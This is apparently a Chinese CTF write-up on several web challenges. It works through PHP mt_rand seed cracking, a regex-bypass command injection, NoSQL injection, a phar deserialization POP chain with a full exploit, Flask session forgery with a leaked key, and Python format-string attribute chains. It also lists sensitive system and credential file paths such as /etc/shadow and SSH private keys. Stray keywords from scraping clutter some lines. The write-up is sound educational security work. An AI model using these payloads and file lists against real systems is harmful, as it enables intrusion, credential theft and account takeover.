(1)第一步:php
這道題第一步主要知道利用php的隨機種子數泄露之後就能夠利用該種子數來預測序列,而在題目中會返回15位的優惠碼,可是必需要24位的優惠碼,所以要根據15位的求出種子之後擴展到24位,這裏的優惠碼由於是字符串形式的,因此須要整理成數字形式,也就是整理成方便 php_mt_seed 測試的格式。html
<?php //生成優惠碼 $_SESSION['seed']=rand(0,999999999); function youhuima(){ mt_srand($_SESSION['seed']); $str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; $auth=''; $len=15; for ( $i = 0; $i < $len; $i++ ){ if($i<=($len/2)) $auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1); else $auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1); } setcookie('Auth', $auth); } ?>
好比咱們如今有一條優惠碼爲:python
youhuima = "hM7HljJR5ZHzWGF"mysql
生成優惠碼的字符串範圍爲linux
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
git
此時咱們能夠利用已經有的優惠碼在字符串中找到其對應的位置,也就是mt_rand的每一次的值,由於前8位都是同樣的生成方式,因此咱們只須要利用前8位來爆破出種子就能夠了,由於php每次調用mt_rand使用的種子都是同樣的。github
所以利用如下代碼還原優惠碼的位置,並按照php_mt_rand接受的形式生成:web
When invoked with 4 numbers, the first 2 give the bounds for the first mt_rand() output and the second 2 give the range passed into mt_rand().
也就是說當包含4個數字時,前兩個應該是mt_rand生成的邊界值,後面兩個應該是mt_rand的取值範圍。sql
因此有如下代碼:mongodb
<?php $str = "hM7HljJ"; #利用7位 $randStr = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; for($i=0;$i<strlen($str);$i++){ $pos = strpos($randStr,$str[$i]); echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)." "; //整理成方便 php_mt_seed 測試的格式 //php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX [RANGE_MIN RANGE_MAX]] } echo "\n"; ?>
而後輸出爲:
7 7 0 61 48 48 0 61 33 33 0 61 43 43 0 61 11 11 0 61 9 9 0 61 45 45 0 61
此時即可以運行php_mt_rand來爆破種子了:
此時有了種子,只要根據上面生成優惠碼的代碼跑一次,生成長度爲24的優惠碼就能夠了,到此第一步完成,主要知道在咱們沒有設置種子數的時候,php會咱們自動播種,而且每次生成隨機數都用的是相同的種子,所以能夠爆破種子。
(2)第二步:
這一步主要熟悉php的preg_match函數的bypass技巧
//support if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){ if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){ //執行命令 }else { //flag字段和某些字符被過濾! } }else{ // 你的輸入不正確! }
這裏使用了/im也就是不區分大小寫而且使用多行匹配的模式,那麼在多行匹配中只要第一行知足就會返回正確,因此只要使用多行來繞過就能夠了,那麼咱們只要在第一行知足的狀況下添加一個換行符而後後面拼接payload就能夠了,也就是1.1.1.1%0a便可。
繞過第一層的過濾之後,第二層對一些命令和flag字符串進行的過濾,而且不能大小寫繞過,而且也過濾了?和*這兩個通配符,由於已經知道flag在/下面,因此直接讀取:
能夠以經過 f’la’g 或f[l][a]g等來繞過對flag的過濾,對文件能夠用more,less命令也都行,若是非要用cat,也可使用繞過flag相同的方法,這裏咱們使用grep -ri / flag* 就崩了,多是查找的太多。
這道題主要考nosql的注入,首先信息蒐集如下,發現info.php,通常在phpinfo中咱們能夠看到php開了哪些擴展,在這裏發現了mongodb,大膽猜想應該是php+mongodb,因此後面利用正則匹配出admin的密碼就能夠了,沒啥好說的。
之前一直懶,沒去看pop鏈的構造,恰好此次題目中有這個因此好好學習了一下。這道題主要考察的是phar的反序列以及pop鏈的構造,
利用phar文件會以序列化的形式存儲用戶自定義的meta-data這一特性,拓展了php反序列化漏洞的攻擊面。
該方法在文件系統函數(file_exists()、is_dir()等)參數可控的狀況下,配合phar://僞協議,能夠不依賴unserialize()直接進行反序列化操做。
這裏重點是能夠不依賴unserialize()這個反序列化的函數,更加騷氣了。
有序列化數據必然會有反序列化操做,php一大部分的文件系統函數在經過phar://僞協議解析phar文件時,都會將meta-data進行反序列化,測試後受影響的函數以下:
update:https://blog.zsxsoft.com/post/38 這篇文章發現並不侷限於文件函數,這是一個全部的和IO有關的函數都有可能觸發的問題,如下函數也可能發生此種問題,若是phar://
不能出如今頭幾個字符,能夠在最前面加compress.bzip2://
orcompress.zlib://
這麼多函數都會經過phar進行反序列化操做,而咱們的利用點須要知足:
1.phar文件要可以上傳到服務器端。
2.要有可用的魔術方法做爲「跳板」。
3.文件操做函數的參數可控,且:、/、phar等特殊字符沒有被過濾。
下面來分析如下題目已經有的信息:
$file = $_GET["file"] ? $_GET['file'] : ""; if(empty($file)) { echo "<h2>There is no file to show!<h2/>"; } $show = new Show(); if(file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty($file)){ die('file doesn\'t exists.'); }
在這裏會對咱們傳的file文件調用file_exist()函數進行判斷是否存在,對照上圖能夠發現這個函數的確存在漏洞,而且file是咱們能夠控制的。
那麼利用點有了,下面就須要構造利用鏈,也就是pop鏈的構造,因此先去看看定義了哪些類,
<?php class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } } class Show { public $source; public $str; public function __construct($file) { $this->source = $file; echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } } ?>
一共有三個類,由於要反序列化,因此要找到對對象進行反序列時會執行的函數,咱們知道:
析構函數__destruct():當對象被銷燬時會自動調用。 __wakeup() :如前所提,unserialize()時會自動調用。
可是在能夠利用的類中有show類中有__wakeup(),可是這只是一個過濾函數,其中只執行了賦值操做,沒有利用的價值。剩下的就是在C1e4r這個類中存在__destruct()函數,因此咱們的pop鏈的入口就是C1e4r這個類了,可是這個類中:
class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } }
在執行反序列化之後只會輸出$this->test,還給了另外兩個類,確定要關聯到另外兩個類,在show類中,存在__toString方法,因此只要令$this->test=show這個類的對象,就能夠由於echo了show的對象而進一步調用
__toString()方法,由於咱們最終須要訪問到flag.php文件,因此必須有個讀文件的函數,這裏在test類中定義了file_get_contens()函數
class Show { public $source; public $str; public function __construct($file) { $this->source = $file; echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } }
class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } }
只要讓$value爲flag.php便可,那麼向上走,$value = $this->params[$key],而這個$params是test的屬性,key是get的參數,又是__get的參數,而__get這個函數是當訪問類的不存在的屬性或者私有屬性時自動調用的魔術方法,所以得構造一個test的對象,而且讓這個對象訪問一個test類中不存在的方法,此時只有看show這個類了,由於在__toString中存在$content = $this->str['str']->source;因此咱們能夠,咱們可讓str['str']爲test類的對象,從而調用source來調用test類的__get方法,而且令test這個類對象的params的鍵爲source,鍵的值爲flag對應的絕對路徑。
exp以下:
<?php class C1e4r { public $test; public $str; } class Show { public $source; public $str; } class Test { public $file; public $params = array('source' => '/var/www/html/f1ag.php'); } $phar = new Phar("tr1ple.phar"); $phar->startBuffering(); $p1=new C1e4r(); $p2=new Show(); $p1->str=$p2; $p2->str['str']=new Test(); $phar->addFromString("tr1ple.txt", "success"); $phar->setMetadata($p1); $phar->stopBuffering();
pop鏈的構造就是經過類之間方法和屬性的聯繫將他們環環相扣,要找好每一個類之間的鏈接點。在反序列化後,本來的對象所帶的屬性將所有恢復,而且能夠正常的調用原有類中的方法。
我以爲這道題目仍是在考察對python的熟悉程度,以及對linux系統的熟悉程度,有些比賽的題目中經過將一些敏感信息暴露在系統的配置文件中來讓咱們找,可能在真實的實戰環境中也能夠經過系統或應用的配置信息來獲得一些能夠利用的點。
系統通用的配置文件有:
/etc/passwd /etc/my.cnf /etc/shadow /etc/sysconfig/network-scripts/ifcfg-eth0 ip地址 /etc/hosts 一般配置了一些內網域名
文件讀取的狀況下文件讀取的狀況下固然能夠能夠讀取proc目錄下的文件來得到更多系統的信息。
ssh免密碼登陸的祕鑰文件等 /root/.ssh/authorized_keys /root/.ssh/id_rsa /root/.ssh/id_rsa.keystore /root/.ssh/id_rsa.pub /root/.ssh/known_hosts 加密後的用戶口令位置 /etc/shadow 歷史命令 /root/.bash_history /root/.mysql_history 進程文件 /proc/self/fd/fd[0-9]* (文件標識符) 檢查已經被系統掛載的設備 /proc/mounts 機器的內核配置文件 /proc/config.gz window下 C:/boot.ini //查看系統版本 C:/Windows/System32/inetsrv/MetaBase.xml //IIS配置文件 C:/Windows/repairsam //存儲系統初次安裝的密碼 C:/Program Files/mysqlmy.ini //Mysql配置 C:/Program Files/mysql/data/mysqluser.MYD //Mysql root C:/Windows/php.ini //php配置信息 C:/Windows/my.ini //Mysql配置信息
/proc/sched_debug 提供cpu上正在運行的進程信息,能夠得到進程的pid號,能夠配合後面須要pid的利用 /proc/mounts 掛載的文件系統列表 /proc/net/arp arp表,能夠得到內網其餘機器的地址 /proc/net/route 路由表信息 /proc/net/tcp and /proc/net/udp 活動鏈接的信息 /proc/net/fib_trie 路由緩存 /proc/version 內核版本 /proc/[PID]/cmdline 可能包含有用的路徑信息 /proc/[PID]/environ 程序運行的環境變量信息,能夠用來包含getshell /proc/[PID]/cwd 當前進程的工做目錄 /proc/[PID]/fd/[#] 訪問file descriptors,某寫狀況能夠讀取到進程正在使用的文件,好比access.log
而在這道題目中明顯存在文件讀取的漏洞:
而且在題目中已經有給出的路徑樹以及tips:
if filename != '/home/ctf/web/app/static/test.js' and filename.find('/home/ctf/web/app') != -1: return abort(404)
從tips中能夠看到,若是咱們訪問的路徑中存在/home/ctf/web/app的話就會返回404。
所以咱們以此絕對路徑去bypass訪問web目錄中的文件,這裏又要用道python的一個trick,os.path.join
函數的一個特性:參數中的絕對路徑參數前面的全部參數會被忽略
因此此時就須要利用/proc目錄下的文件
當訪問/proc/self/environ時,會返回以下所示:
當訪問/etc/passwd的時候,會返回以下所示:
而經過/proc/self/maps
能夠看到web路徑,可是並不能經過此web路徑來直接訪問文件,後面出題人說是禁止了直接訪問,此時就要用到上面說的其中一條:
/proc/[pid]/cwd是進程當前工做目錄的符號連接
由於前面已經出現過os.path.join('app/static', filename),因此當前路徑就是源碼所在的路徑,因此/proc/self/cwd/app/views.py,就可以讀到文件,把能讀的都讀一遍,能讀到源碼的話,flask的題目確定拿到secret key就能夠僞造session了。
這裏僞造session也是有點坑,由於題目的環境是python3.5寫的,因此用python2僞造的session沒法經過,須要用python3的環境才行,不要一味的相信工具。
下面是出題人給的exp:
from flask.sessions import SecureCookieSessionInterface class App(object): secret_key = '9f516783b42730b7888008dd5c15fe66' s = SecureCookieSessionInterface().get_signing_serializer(App()) u = s.loads('eyJjc3JmX3Rva2VuIjoiMzgyMWRlNmFlMTRmNjc2NjU0YWNhMjZjYTQ1MzY4Y2Y3NjI2MzI1NSJ9.XBpHyw.9S0EAg9_yQKg7D3xqPp08eMIeH8') print(u) u['username'] = 'admin' print(s.dumps(u))
使用python3運行之後,出來的sesion就能夠經過服務器端的校驗,這裏只須要僞造username這一個字段就能夠了,其餘的服務端不做爲身份校驗,到此以admin登錄之後第一步就完成了,接下來是第二步:
前置知識:
從python2.6開始,就有了用format來格式化字符串的新特性,它能夠經過{}來肯定出字符串格式的位置和關鍵字參數,而且隨時能夠顯式對數據項從新排序。此外,它甚至能夠訪問對象的屬性和數據項——這是致使這裏的安全問題的根本緣由。
這裏貼兩個大佬的記錄連接:
1.https://github.com/bit4woo/code2sec.com/blob/master/Python%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E%E5%AE%9E%E8%B7%B5.md
2.https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html
看了大佬寫的文章之後,我以爲這個漏洞主要仍是攻擊者可以控制format的結果,從而經過當前環境能夠訪問到的對象,好比user,order(必須是使用到的)等等,好比Django中request.user
是當前用戶對象,這個對象包含一個屬性password
,也就是該用戶的密碼。經過這些對象來構造一條屬性鏈到達一些全局的配置信息對象好比settings或其餘敏感配置項,進而越權訪問一些環境中的配置信息和敏感信息,回到題目中:
__init__.py的代碼以下
from .app import Flask, Request, Response from .config import Config from .helpers import url_for, flash, send_file, send_from_directory, get_flashed_messages, get_template_attribute, make_response, safe_join, stream_with_context from .globals import current_app, g, request, session, _request_ctx_stack, _app_ctx_stack
能夠看到current_app和g在同一個命名空間下,咱們這裏須要學習下g是啥:
### 保存全局變量的g屬性: g:global 1. g對象是專門用來保存用戶的數據的。 2. g對象在一次請求中的全部的代碼的地方,都是可使用的。
getflag的路由以下,在咱們登錄後
@app.route('/getflag', methods=('POST',)) @login_required def getflag(): u = getattr(g, 'u') if not u or u.balance < 1000000: return '{"s": -1, "msg": "error"}' field = request.form.get('field', 'username') mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest() jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}' return jdata.format(field, g.u, mhash)
其中getattr函數是獲取當前對象的屬性,也就是獲取g對象的u這個屬性,當登錄之後,u.balance>1000000之後就會調用request.form.get函數來獲取field和username參數的值,爲post方法。
接下來就會進行format,format爲
'{{{field}:{g.u.field},hash: {mhash}}}'
這裏format有三個點,0,1,2,咱們能夠控制的點有1後面,有大佬測試了field,也就是跟在g.u以後,借用他的圖,field=__class__,也就是g.u.__class__
顯示爲app.models.User,說明類的繼承爲user->models->app,因此應該先向上到models再到app,再讀g.flag,出題人提示了方法,因此能夠直接使用
__class__.save.__globals__[db].__class__.__init__.__globals__
當到了這一步的時候,已經能夠獲取到current_app這個類,它也就是flask的app了,所以到達這裏就到達鏈條的頂端了,而後就向下找flag
能夠看到app.before_request下面存在g,所以就能夠經過current這個類來點用它來訪問g.flag,完整的payload
field=__class__.save.__globals__[db].__class__.__init__.__globals__[current_app].before_request.__globals__[g].flag
由於flag在g這個全局的對象下面,因此咱們才能這樣訪問,先找g,再在g這個空間中去找flag
save.__globals__[db].__init__.__globals__[request].application.__self__._get_data_for_json.__globals__[current_app]._get_exc_class_and_code.__globals__[find_package].__globals__[_app_ctx_stack].top.g.flag
運用腳本尋找繼承鏈:
這個腳本是從python的request這個對象開始找,咱們模擬將flag放在g的空間下,那麼腳本就會自動利用python中自帶的類或對象去尋找g.flag
import flask import os from flask import request from flask import g from flask import config app = flask.Flask(__name__) def search(obj, max_depth): visited_clss = [] visited_objs = [] def visit(obj, path='obj', depth=0): yield path, obj if depth == max_depth: return elif isinstance(obj, (int, float, bool, str, bytes)): return elif isinstance(obj, type): if obj in visited_clss: return visited_clss.append(obj) print(obj) else: if obj in visited_objs: return visited_objs.append(obj) # attributes for name in dir(obj): if name.startswith('__') and name.endswith('__'): if name not in ('__globals__', '__class__', '__self__', '__weakref__', '__objclass__', '__module__'): continue attr = getattr(obj, name) yield from visit(attr, '{}.{}'.format(path, name), depth + 1) # dict values if hasattr(obj, 'items') and callable(obj.items): try: for k, v in obj.items(): yield from visit(v, '{}[{}]'.format(path, repr(k)), depth) except: pass # items elif isinstance(obj, (set, list, tuple, frozenset)): for i, v in enumerate(obj): yield from visit(v, '{}[{}]'.format(path, repr(i)), depth) yield from visit(obj) @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/') def shrine(): g.flag = 'flag{}' for path, obj in search(request, 10): if obj == g.flag: return path if __name__ == '__main__': app.run(debug=True)